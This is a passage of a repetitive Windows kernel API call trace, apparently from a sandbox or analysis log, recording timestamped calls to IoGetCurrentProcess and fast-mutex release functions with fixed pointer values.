(FastMutex=0xffffe000001652b0) [0144.008] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.008] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.009] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.009] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.009] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.009] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.009] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.010] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.087] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.116] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.130] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.161] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.177] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.193] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.220] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.220] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.220] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.241] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.282] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.300] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.321] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.349] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.349] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.349] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.349] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.349] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.349] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.350] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.350] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.351] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.351] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.352] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.352] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.352] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.368] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.368] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.398] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.429] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.460] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.490] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.510] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.510] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0144.510] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.465] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.466] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.466] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.469] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.469] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.469] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.505] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.562] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.652] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.652] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.652] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.814] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.844] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.844] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.844] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.864] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.882] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.882] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.882] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.899] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.899] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.899] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.918] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.918] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.918] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.939] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.939] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.939] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.963] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.963] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.963] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.980] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0145.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.010] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.010] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.027] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.027] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.027] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.045] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.045] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.045] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.074] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.074] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.089] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.105] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.135] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.135] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.135] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.165] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.165] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.165] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.182] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.182] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.188] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.188] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.188] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.253] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.312] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.346] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.370] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.386] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.386] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.386] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.404] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.404] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.404] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.432] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.432] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.432] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.447] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.464] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.481] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.481] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.481] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.500] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.500] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.501] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.501] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.501] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.502] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.566] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.610] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.610] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.610] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.642] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.657] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.657] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.657] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.672] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.672] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.672] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.688] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.688] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.688] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.711] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.726] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.749] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.769] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.786] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.806] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.806] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.806] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.836] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.836] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.836] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.836] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.836] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.836] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.836] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.836] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.836] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.837] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.837] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.837] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.837] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.837] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.837] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.837] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.837] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.837] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.838] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.838] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.838] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.865] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.865] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.865] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.897] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.897] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.898] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.928] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.928] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.959] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.990] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0146.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.946] IoGetCurrentProcess () returned 0xffffe000011ff900 [0147.946] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0147.946] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.948] IoGetCurrentProcess () returned 0xffffe000011ff900 [0147.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0147.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.984] IoGetCurrentProcess () returned 0xffffe000011ff900 [0147.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0147.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.040] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.056] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.072] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.072] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.072] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.101] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.116] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.339] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.339] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.339] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.369] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.369] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.396] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.412] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.427] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.444] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.475] IoGetCurrentProcess () returned 0xffffe000011ff900 [0148.475] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0148.475] 